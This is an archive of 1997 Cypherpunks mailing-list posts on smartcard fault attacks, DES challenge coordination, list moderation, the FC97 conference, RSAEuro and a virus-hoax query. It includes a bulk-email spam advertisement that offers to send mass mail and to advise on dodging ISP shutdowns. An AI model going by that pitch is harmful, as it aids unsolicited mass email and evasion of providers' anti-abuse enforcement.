However, the smartcard manufacturers appear to have a role in dampening 
publicity about the ongoing research, or at least diminishing the claims of 
effectiveness of DFA. Carol Francher, of Motorola, for example, writes
in February IEEE Spectrum:

   Technology is a wonderful thing but criminals, too, can use it as new 
   equipment and techniques become available or less expensive the 
   barriers to cracking a system may weaken. Recently Bellcore 
   announced a paper, "Cryptanalysis in the presence of hardware faults" 
   (available at www.bellcore.com), that proposed a theoretical method for
   breaking an asymmetric encryption code once a computer (or a 
   smartcard microcontroller) had been forced into faulty behavior.

   The Smart Card Forum, a multi-industry membership organization 
   headquartered in Tampa, Fla., has stated that it does not regard this 
   approach as a real-world risk, since in smartcard applications more 
   than one technique is used to protect the security of the entire system. 
   But the Bellcore methodology for breaking algorithms -- as well as 
   similar theoretical approaches, such as the one taken by two Israeli 
   researchers, Eli Biham and Adi Shamir -- highlights the need to 
   analyze and evolve the security of any system continually.

   -- "In your pocket: smartcards."  <http://jya.com/tee08.htm>

Several of the DFA-type researchers have commented on the smartcard 
industry's reluctance to publicize security weaknesses when the push is 
on to increase consumer trust and use; see, for example, Anderson and
Kuhn at:

  http://www.cl.cam.ac.uk/users/rja14/tamper.html

Quisquater and the SG group also note the reluctance of smartcard
mass-marketers to own up to security shortcomings of which their own
engineers know and fret.

Meanwhile, the DFA proponents and opponents are eagerly absorbing the 
continuing DFA-relatged reports, quietly watching one another, and both 
sides eying the booming smartcard market for lucrative rewards, as Ms. 
Francher suggests: licit and il.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sun, 16 Feb 1997 10:08:27 -0800 (PST)
To: Jon Biddell <jba@fl.net.au>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <856115767.1126707.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> How the hell do I get OFF this list ??

Say something herr Gilmore doesn`t like and you`ll be off the list in 
no time. 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Feb 1997 12:11:13 -0800 (PST)
To: roach_s@alph.swosu.edu (Sean Roach)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702161959.OAA00144@www.video-collage.com>
Message-ID: <199702162007.OAA29812@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sean Roach wrote:
> 
> At 04:45 PM 2/15/97 -0600, Igor Chudov wrote:
> >Roy M. Silvernail wrote:
> ...
> >> Or that the money wasn't there in the first place (absent a trusted
> >> signature system), or the key doesn't exist, or the wrong key is
> >> offered, or the sender put the same e-dollar on all 60000 mails sie
> >> sent and it's already been redeemed.
> >
> >Well, if the trusted party performs the encryption by both recipient's
> >public key and the "retrieval key", the problem that you mention can 
> >be avoided.
> Yeah.  I as a spam artist send the "proof" message through the e-cash
> verification center with the Send To: field returning it to a mail exploder.
> Each receipient gets the same dollar.
> This assumes that the To: field is not hashed into the verification
> signature, and that the verification works like a glorified remailer.  (cash
> added on a separate channel).
> 

Sean,

No, it works the other way. The verification center gets $1000, creates
1000 $1 coins, signs them and encrypts each with the given recipients' 
public keys.

The spammers gets these signed and encrypted coins, may superencrypt
them and sends them to the recipients.

As long as the trusted party is honest, there is no way to cheat.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ths@rz.tu-ilmenau.de (Thomas S.)
Date: Sun, 16 Feb 1997 06:19:28 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702152256.WAA00403@server.test.net>
Message-ID: <m3k9o8u94j.fsf@fh28.fa.umist.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain


Hi!

(wow, what a distribution. I should mention that des-challenge is down
this weekend, so the response may not be as expected.)

>>>>> "Timothy" == Timothy C May <tcmay@got.net> writes:

    Timothy> At 11:02 PM +0000 2/15/97, Adam Back wrote:

    >> Thomas S <ths@fh28.fa.umist.ac.uk> writes:
    >>> [...]
    >>> 
    >>> 5. The prize money will be split equally between Gutenberg and
    >>> EFF. There is a possibility of using part of it for stickers
    >>> or something similar, but don't count on it.
    >>  Not a good idea.
    >> 
    >> How can this be enforced? The RSADSI DES challenge is open to
    >> all comers, and how do you prove that someone who finds the key
    >> found it through this group effort?

The client reports the key to the server, not to the user (very
simple, and very simple ways to get around of course). In a nutshell:
we can't enforce it, at least I can't see a way to do so. We certainly
can't keep people from doing their own "treasure hunt".

...
    Timothy> A 2-4x factor is significant, and may warrant a
    Timothy> coordinated search. However, the various problems
    Timothy> implicit in coordinated searches are factors, too.

    Timothy> Also, an uncoordinated search solves the "prize" problem,
    Timothy> as whomever finds the key makes the contact with RSADSI.

Indeed--that's what we try to avoid. Our project is not a race for
money, it is a demonstration with a political impact.

The main point in favour of a coordinated search is the availability
of progress reports. Nobody can argue that the key was found by
chance--as there is exact data about performance and the expected
maximum duration for the search.

    Timothy> One of the problems with a coordinated search, if the
    Timothy> remaining keyspace to be doled out is publically
    Timothy> announced, is that as the keyspace is searched and a key
    Timothy> _not_ found, the remaining keyspace is increasingly more
    Timothy> tempting for "independent searchers" to search. Sort of
    Timothy> the way the odds on some lotteries actually become
    Timothy> "acceptable" as the lottery pot grows. The organizer of
    Timothy> the coordinated search must then, I surmise, keep the
    Timothy> assignments secret and dole out keyspace securely.

This is a technical problem which is discussed at the moment. The
keyspace will not be publically announced (and it wasn't during the
last project).

			Thomas
-- 
    OOOO,    OOOOOOOO,  |, ths@rz.tu-ilmenau.de
  OO,   OO,   O,    O,  |, http://www.rz.tu-ilmenau.de/~ths/
 O,       O,   O,       |, ______   __   ___
 O, O--O, O,    O,      |,  |      (_   |-|-`   
 O,       O,   O,       |,  |homas __)te| |en   
  OO,   OO,   O,    O,  |, 
    OOOO,    OOOOOOOO,  |, not to be forwarded without permission







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Feb 1997 11:57:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: *Really* Shameless, Gratuitous, FC97 DFA Hucksterism (Was Re: DFA)
In-Reply-To: <1.5.4.32.19970216182934.006e00b4@pop.pipeline.com>
Message-ID: <v03020914af2d0de310cf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:29 pm -0500 on 2/16/97, John Young wrote:


> Paul Bell wrote:
> >does anyone know what has happened to DFA, and the people who
> >just a few months ago were publishing such encouraging results?
>
> There seems be sustained investigation of DFA, offensive and defensive,
> by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by
> Quisquater and others.
>
> However, the smartcard manufacturers appear to have a role in dampening
> publicity about the ongoing research, or at least diminishing the claims of
> effectiveness of DFA.

At FC97 <http://www.offhsore.com.ai/fc97/> ;-), we have the following paper
at 10:45 on Tuesday February 22nd:


>     Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
>         Engineering in Perspective
>     David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

I'm not sure whether which side of the fight this paper will be on, but it
could be easy to speculate from the title. :-).

On the other side of the coin, we invited Shamir to come talk about his DFA
work, but eventually it turned out that he couldn't make the trip. Maybe
next year. We *did* get Ron Rivest, though.

(Shameless plug: Our *other* invited speakers are Simon L. Lelieveldt of
the Dutch central bank, who'll talk about the security of electronic money,
and Peter Wayner, the author of "Digital Cash", who'll talk about money
laundering.) (*Really* shameless hucksterism: Since AA *didn't* strike,
they're offering mucho cheapseat deals to places like Anguilla and St.
Maarten, a short ferry ride away, even if you make your reservations on
really short notice. Like, maybe to go to FC97? Nudge, Nudge. We can also
get you *cheap* hotel rooms when you get there... Wink, wink, wink.)

Meanwhile, the FC97 workshop (which runs the week prior to the conference
itself) starts on Monday, and, having weathered the American Airlines
non-strike, Ian Goldberg, Adam Shostack and Gary Howland are now all down
in Anguilla getting things set up. I don't think people can get to *that*
in time, but, hey, you could *try*, I suppose. Better get packing, though,
'cause time is running out. The workshop starts at 09:00 tomorrow.
<http://www.offshore.com.ai/fc97/>

;-).

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Newton <newton@atdot.dotat.org>
Date: Sat, 15 Feb 1997 20:42:49 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <v03007801af2c0a2cc906@[207.167.93.63]>
Message-ID: <199702160443.PAA08174@atdot.dotat.org>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

 > The organizer of the coordinated search must then, I surmise, keep the
 > assignments secret and dole out keyspace securely.

Perhaps they should DES-encrypt the list of assignments :-)

    - mark

--------------------------------------------------------------------
I tried an internal modem,                          newton@dotat.org
     but it hurt when I walked.                          Mark Newton
----- Voice: +61-4-1155-2401 ------------- Fax: +61-8-83732527 -----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 16 Feb 1997 15:31:21 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702162113.NAA07700@kachina.jetcafe.org>
Message-ID: <3.0.1.32.19970216153218.006ce5d0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:13 PM 2/16/97 -0800, Dave Hayes wrote:

>I can also offer my participation in the distributed mailing list, if
>that is what it takes to get cypherpunks free of control interests again.

I think it would be more accurate to say that this is what it takes to get
cypherpunks into the hands of different control interests. 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Clinton <president@whitehouse.gov>
Date: Sun, 16 Feb 1997 12:07:05 -0800 (PST)
To: Those cypher-rebels <cypherpunks@toad.com>
Subject: We're in Anguilla!  Comon down!!!
Message-ID: <m0vwCih-0002jyC@offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain


My fellow cypherpunks,

	I wanted to let you all know, we are having a great time, building
a router to the 21st Century, down here in sunny Anguilla.   Al and I will
be wiring Anguilla's great high school for the internet.  Afterwards, we'll
meet with some longtime supporters of the democratic party for a beer.

	Spaces at the conference are still available, I didn't let those
folks at American strike, so you have no excuses to be anywhere else next
week.  

Willy
Citizen Unit 429-92-9947
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 16 Feb 1997 13:19:23 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Questions about Naughty Robot (fwd)
In-Reply-To: <Pine.LNX.3.95.970216122014.30109A-100000@shelob.aracnet.com>
Message-ID: <0n1ram200YUe051PQ0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Genocide <gen2600@aracnet.com> writes:
>         I got this message (on a system that I am webmaster on) regarding
> something that sounded so stupid it made me chuckle...Naughty Robot...I
> have enclosed the message below.  If any of you have any idea what this
> user is talking about, any info would be appreciated.
<snip>
> >> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot
> >> has infected your host computer and consider all your credit cards
> >> stolen.
> >> 
> >> I think it's a hoax, but the Admins at VR-NET Cafe say that they have
> >> been hit with it and say that it's a script that does hack into the
> >> IPS's server and sits back and watches the users browse the web and take
> >> the info they see on there screen and dump to some remote server??
> >> 
> >> I was wondering if you have heard about it...and if so can you direct to
> >> the right locations on the web to get the "Official" Scoop on it?

It could theoretically be a JavaScript that makes a teeny tiny window
and reports back stuff that it really shouldn't be able to see, I
think Netscape fixed that bug, though.

FWIW,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 16 Feb 1997 13:57:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC97: Post-strike airfares
Message-ID: <v0302091baf2d2cb64eea@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


One more datablip about FC97 and I'll shut up a bit.

Having just promised gratuitously cheap airfares to Anguilla/St. Maarten, I
went and called the local branch of American Express Travel and got some
actual prices. Their number is 617-868-2600, but AEXP-T has branches
everywhere, and, I think, an 800 number, so you might want to get ahold of
them that way...

Anyway, here's what I got, as of about 20 minutes ago:

For departures 2/22/97 with return 3/1/97,

Boston  Anguilla           $  864
Boston  St. Maarten           851 (+ Taxi and short ferry ride to Anguilla)
San Francisco  Anguilla       828
San Francisco  St. Maarten    748
Heathrow  Anguilla          1,315 (looks like the strike didn't affect you
folks, sorry)

All in all, that's as good as the prices we were getting for 14 day advance
purchase earlier this month. Not bad, but not completely spectacular. Note
that it's cheaper to get to Anguilla or St. Maarten from San Francisco than
it is from Boston, so y'all don't have an excuse. Well, possibly seat
fatigue, but Sunday on the beach will fix that.

I'll check tomorrow to see if the airline yield management software war
gives us something better after the weekend's over. Only if fares are
significantly lower will I post something here about it, in the interest of
nomex conservation. :-).

If you *do* decide to fly while the seats are hot, don't forget to register
for FC97 first, so we can plan for meals and stuff:
<http://www.offshore.com.ai/fc97/>

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Feb 1997 14:57:55 -0800 (PST)
To: boursy@earthlink.net (ISP_Ratings)
Subject: Re: Proposed info file
In-Reply-To: <33078E8F.378E@earthlink.net>
Message-ID: <199702162250.QAA32228@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


ISP_Ratings wrote:
> Igor Chudov @ home wrote:
> > About cypherpunks mailing lists
> > -------------------------------
> 
> 
>   It all sounds very interesting especially given what's been going
> on.  About how many posts a day can a subscriber reasonbly expect
> in their mailbox if one were to subscribe?
> 

About a hundred, maybe. It is QUITE A LOT. If you are not interested
in applications of cryptography, the list may not be as interesting.
All the bickering that you heard is mostly rotating around crypto use.


	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sun, 16 Feb 1997 14:32:31 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702162124.NAA07767@kachina.jetcafe.org>
Message-ID: <33078BE3.2FD@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> 
>> censorship on cypherpunks.  However, I think most peoples' opinions
>> didn't really turn, or at least people didn't realize how serious
>> things were and didn't really care, until Tim May [someone the many
>> freedom-knights hate] started criticizing this censorship in extremely
>> reasonable messages that were suppressed from both the -edited and
>> -flames mailing list.
> 
> Assuming that is true, that people do not care about censorship until
> a person with an arbitrary reasonability says something, I would say
> that such a group cares not about free speech...even if they think
> they do.

  I agree--and again that is sad.  Hopefully many have learned from 
the experience--that does on occassion really happen.

                           Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sun, 16 Feb 1997 14:44:00 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Proposed info file
In-Reply-To: <199702161929.NAA29420@manifold.algebra.com>
Message-ID: <33078E8F.378E@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Hi,
> 
> The text below is what I wrote for cypherpunks@algebra.com to be
> sent to new subscribers. Feel free to criticize.
> 
>         - Igor.
> 
> @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
> 
> About cypherpunks mailing lists
> -------------------------------


  It all sounds very interesting especially given what's been going
on.  About how many posts a day can a subscriber reasonbly expect
in their mailbox if one were to subscribe?

                       Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 16 Feb 1997 18:11:11 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Moderation experiment and moderator liability (fwd)
Message-ID: <Pine.SUN.3.91.970216180657.2955D-100000@crl8.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

Adam has assembled a pretty good history of recent events.  The
following comments only cover some of the issues raised by Adam.
It should not be assumed that I agree with all the statements
upon which I do not comment.  I have limited myself to commenting
on only a few issues with which I am in dispute.

On Sun, 16 Feb 1997, Adam Back wrote:

> Events:

> 9. John made a post to the list announcing that the list would be
> moderated for one month from Jan 11 as an experiment, and included
> Sandy Sandfort's proposed moderatation policy and offer to act as
> moderator.  It appeared that the moderation experiment was Sandy's
> suggestion, and that John had agreed to go along with it.

Moderation was my suggestion, but the moderation policy was not.
My suggestion was quite different.  In a nutshell I wanted to:

	a.  Limit posts to list members only.
	b.  Promote civility on the list by applying sanction to
	    list members who repeatedly flamed or otherwise 
	    breached civil decorum.
	c.  Provide for anonymous or non-member posts by having
	    volunteers act as "gateways" who would forward 
	    anonymous--but civil--posts to the list.

Curiously, in a subsequent telephone conversation, Tim May 
proposed almost that exact suggestion as an alternative form of
moderation that he said would have been acceptable to him.  Go
figure.
 
> 21. Tim received a warning from C2Net's lawyers that if he did not
> desist from mentioning that Dimitri had posted an article criticising
> a C2Net product that he would be sued!

Absolutely false.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Sun, 16 Feb 1997 09:12:24 -0800 (PST)
To: John Ioannidis <pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <1.5.4.16.19970216171204.1a3781d8@c2.net>
MIME-Version: 1.0
Content-Type: text/plain


At 21:32 1997-02-15 -0200, John Ioannidis wrote:

Sorry to correct you, but uti-maco is an old  german company ...

>I believe uti-Maco (a belgian company) has been using the Pijnenburg chips
>for their boards. However, last I checked with them (about half a year ago)
>the price of the boards was pretty steep -- of the order of $1K. 
>
>Anyway, if the boards Peter is referring to are ready in the next couple 
>of months, I volunteer to write drivers for Linux and *BSD*.
>
>/ji
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Product Link <p-link@usa.net>
Date: Sun, 16 Feb 1997 18:17:53 -0800 (PST)
Subject: We Will Send Your Bulk Email
Message-ID: <199702170217.SAA13218@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




*If you want to be removed from our mailing list, please respond to this
email and put "Remove" in the subject line.


We will send out your bulk E Mail.  Period.  No qualifiers, no conditions,
no nonsense...and we'll do it at the best prices.

We are Product Link.  We are a business partner with a marketing 
company which develops buyers for its clients' products through electronic 
marketing; primarily broadcast fax.  Together, we have over a hundred clients, 
almost 10% of which are Fortune 500 companies.   We have numerous staff, 
and have just begun, at client request, to send high volumes of E Mail.

If you're new to bulk E Mail marketing, as we were a short time ago, I can
confirm that all the E Mails you've been getting from E Mail software
companies about how great E Mail marketing is; well, they're true.  However,
as those of you who have already purchased software and have tried bulk
E mail know, nothing good ever comes easy.

Our staff has spent millions of advertising dollars on our clients' behalf;
everything from commercials on the Superbowl to ads in the New York Times,
to full page spreads in Scientific American.; not to mention the sending
of over 1,000,000 marketing faxes a year for major corporations.

Bulk E mail has been quite an eye opener.

The Internet, the on line services and ISP providers are full of shrill,
self appointed "net cops," whose mission in life seems to be dumping on those
who have the audacity to sell product via E Mail.   I don't wish nor intend
to debate the issue here, except to say that if you've purchased bulk E Mail
software (or intend to), you've already found out that when you attempt to
use it, your ISP provider will shut you down, your E Mail account will be
bombed, and electronic flames will become a way of life.

Since we have a low tolerance for allowing small groups of vocal fanatics
to dictate our business life, we set up our own system to send out Bulk
E Mail.  This system will be greatly expanded in 30 days or so (we're
installing more T lines), but we currently have room on our system to send
out Bulk E Mail for a limited number of companies or individuals other
than ourselves.

We'll send out your order, large or small.  We'll do it quickly, and
we'll do it at a really great price.  You can supply the list, or we'll
supply the list.  Place an order with us, and we'll give you advice on
how to set up your E Mail so your on line service won't shut you down, how
to write your material, and much more.  We will also write your marketing
material, if you so desire. If you supply a list, we can run it through
our computer program to sort out all duplicates and bad AOL or CompuServe
addresses.  If you buy a list from us, we will guarantee that the exact
number of names you order will go out; if we send a list for you and a
number of addresses are not delivered, we will send out more E Mails until
you get delivered exactly what you ordered. We can even tell you how to
confirm that your list was sent.

We also have programs that can filter out E Mail "bombs" and other
irritating toys played with at your expense by people who don't
have a life.

When we first began exploring bulk E mail, we contacted numerous firms
advertising that they would send out bulk E mail.  What we got was
answering machines, disconnected numbers, and no call backs.  The one firm
that did contract us would only send limited numbers of E mails for
us, and then only if we had already sent the list out once and taken off all
the removes (go figure...if we could send out the list once, what did we
need them for?).  We finally got so exasperated, we set up our own system.
And are we glad we did.  Speaking as a marketing man with over 30 years
experience in major advertising, E Mail marketing will change the face of
advertising and cost of sale forever.  I do not believe that has ever been
a vehicle like it in history to allow anyone of any size and any budget to
advertise and sell their products literally overnight.  We employ 18 people,
and I guarantee you that when you E Mail us back, you'll get a call.
Right away.  And the office phone number we give you, will have a live
person at the other end.

Following is a price list to give you an idea of the 
quality of our company.  Please bear in mind that Bulk E Mail is 
effective in large numbers; i.e., 25,000 and above.

Price List To Send Bulk E Mail:

Amount			Cost		Set Up (One Time Fee)

25,000			$150.00		$50.00		

50,000			$275.00		$50.00

75,000			$400.00		$50.00

100,000			$550.00		$50.00		


Bulk E Mail amounts above 100,000 per sending will be bid on a 
case by case basis.  If  you wish to modem us a list, there may be a 
small charge for down load depending on list size.  If you wish us to 
"clean" your list (remove all duplicates and bad addresses), we will  supply a 
bid on a case by case basis as with writing your marketing materials and 
other services.

If we may be of service to you, please call us directly at 
(805) 654-4042.  Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 16 Feb 1997 18:25:03 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: More on digital postage
In-Reply-To: <199702162336.SAA28881@homer.iosphere.net>
Message-ID: <v03007802af2d6c9c0823@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:36 PM -0500 2/16/97, Cynthia H. Brown wrote:

>My understanding is that the legislation restricts commercial
>solicitations by phone to:
>
>- certain times of day (not after 9 PM? unsure)
>- one initial call, and no follow-ups if the person explicitly asks
>the caller to never phone this number again (again, unsure of legal
>details)
>
>I don't consider this scenario overly restrictive, since it gives
>_them_ a chance to sell their product, and _me_ a chance to have them
>delete my name from their database.  Unfortunately, without some
>formal means of redress, very few telemarketers seem to remember that
>they are unlikely to find new customers if they call at 7 AM Saturday
>for the third time this month.

I despise telemarketing calls as much as the next one, and I now let my
answering machine do the answering whenever possible, only picking up if
it's a call that sounds interesting. (And my cellular phone number I give
to only a very few people, as I get charged for incoming calls before 7
p.m.)

So, I'm sympathetic to the "problem."

However, I try to always "deconstruct" governmental/regulatory "solutions"
to see if statist encroachment is lurking in the bushes.

In the case of the notion of "have them delete my name from their
database," here are some of the issues:

* The Armour Spam Company buys its data bases from direct marketing firms,
so whose data base is one's name supposed to be removed from? The instance
used by Armour in its February 17th contact, or the "parent index" (which
is itself an instance) controlled by someone else? How does Armour insist
that the data base company from which it bought the data base handle the
removal?

* If the argument is only that Armour Spam Company not repeat a call, this
is generally not a problem, as few companies repeat their telemarketing
pitches; counterexamples doubtless exist, but the general trend is not for
repeat calls, but, rather, for the same data base to be bought by multiple
telemarketing firms.

* And there are "freedom of speech" (important in the U.S., though not
perhaps in other countries lacking an explicit provision in their
constitutions or charters) issues in forcing sellers of legally obtained
data bases to reveal internals, to modify them, etc.

(Again, it is Armour Spam Company that made the offending call, but they,
for this example, only made the call _once_. The fact that N other
companies make similar calls, based on the same data base, is a separable
issue. Unless the collection and sale of legally-accumulated data bases is
regulated, no real remedy exists. I am not, of course, a fan of regulating
data bases, but that's a long and involved issue to discuss.)

>What means of redress would you suggest, in the absence of
>legislation / fines, to someone who has been called repeatedly by a
>telemarketer?  This person is not a current customer and so cannot
>withdraw his/her business.

As I said, I believe the case of repeated calls by the _same_ telemarketer
is unusual. Perhaps others have had different experiences.

And if a particular telemarketer is banned from calling twice, their
solution will be obvious: they'll change their company name, farm out the
calls to a subcontractor, etc. That is, they'll become a different
"corporate instance."

It'll be very tough for any law to keep up with such changes (without
trampling severely on what most of us think of us as basic freedoms).

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rsaeuro@sourcery.demon.co.uk (RSAEuro General)
Date: Sun, 16 Feb 1997 10:16:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANNOUNCE:- RSAEuro
Message-ID: <33134fe4.13867320@sourcery>
MIME-Version: 1.0
Content-Type: text/plain


ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial)
================================================================

What is RSAEuro?
----------------

RSAEuro is a cryptographic toolkit providing various functions
for the use of digital signatures, data encryption and supporting
areas (PEM encoding, random number generation etc).  To aid
compatibility with existing software, RSAEuro is call-compatible
with RSADSI's "RSAREF(tm)" toolkit. RSAEuro allows non-US
residents to make use of much of the cryptographic software
previously only (legally) available in the US.

RSAEuro contains support for the following:

*    RSA encryption, decryption and key generation.  Compatible
     with 'RSA Laboratories' Public-Key Cryptography Standard
     (PKCS) #1.

*    Generation and verification of message digests using MD2,
     MD4, MD5 and SHS (SHS currently not implemented in
     higher-level functions to maintain compatibility with
     PKCS).

*    DES encryption and decryption using CBC (1, 2 or 3 keys
     using Encrypt-Decrypt-Encrypt) and DESX(tm), RSADSI's
     secure DES enhancement. Blowfish and RRC.2 encryption and
     decryption using CBC (available in commercial versions
     only).

*    Diffie-Hellman key agreement as defined in PKCS #3.

*    PEM support support for RFC 1421 encoded ASCII data with
     all main functions.

*    Key routines implemented in assembler for speed (80386 and
     680x0 currently supported).

*    Much improved library documentation with code samples.

International Use
-----------------

IMPORTANT NOTICE:  Please do not distribute or use this software
in the US it is 'illegal' to use this toolkit in the US, as RSADSI and
Cylink hold patents relating to public-key cryptography.  If you are a
US resident, please use the RSAREF toolkit instead.

On The Web
----------

RSAEuro can now be found at

http://www.sourcery.demon.co.uk/RSAEuro.html

Author Details
--------------

With comments and suggestions, please address them to Stephen Kapp, at
'rsaeuro@sourcery.demon.co.uk', for documentation comments suggestions
please address them to Nick Barron, at 'nikb@sourcery.demon.co.uk'
----------------------------------------------------------------------------
RSAEURO:      rsaeuro@sourcery.demon.co.uk
RSAEURO Bugs: rsaeuro-bugs@sourcery.demon.co.uk
Tel:          +44 (0) 468 286034
Http:         http://www.sourcery.demon.co.uk/rsaann.html

RSAEURO - Copyright (c) J.S.A.Kapp 1994-1996.
----------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Kuethe 1024 <ckuethe@gpu.srv.ualberta.ca>
Date: Sun, 16 Feb 1997 17:23:08 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: Questions about Naughty Robot (fwd)
In-Reply-To: <199702162241.OAA04951@toad.com>
Message-ID: <Pine.A32.3.93.970216182051.52742A-100000@gpu2.srv.ualberta.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, Genocide wrote:

> 
> 	I got this message (on a system that I am webmaster on) regarding
> something that sounded so stupid it made me chuckle...Naughty Robot...I
> have enclosed the message below.  If any of you have any idea what this
> user is talking about, any info would be appreciated.
> 
> 	Personally it sounds like another "GoodTimes Virus" again...
> 
> Genocide
> Head of the Genocide2600 Group

It is another fake... this is what my ISP's sysadmin sent me about it...

----Begin Fwd Message----
Subject: 
          NaughtyRobot - DON'T PANIC! 
     Date: 
          Sun, 16 Feb 1997 15:10:38 -0700 
    From: 
          owner-all-users
Reply-To: 
          Zbigniew Indelak <zeebee@superiway.net>


You may receive (or may have already received) a message that looks like
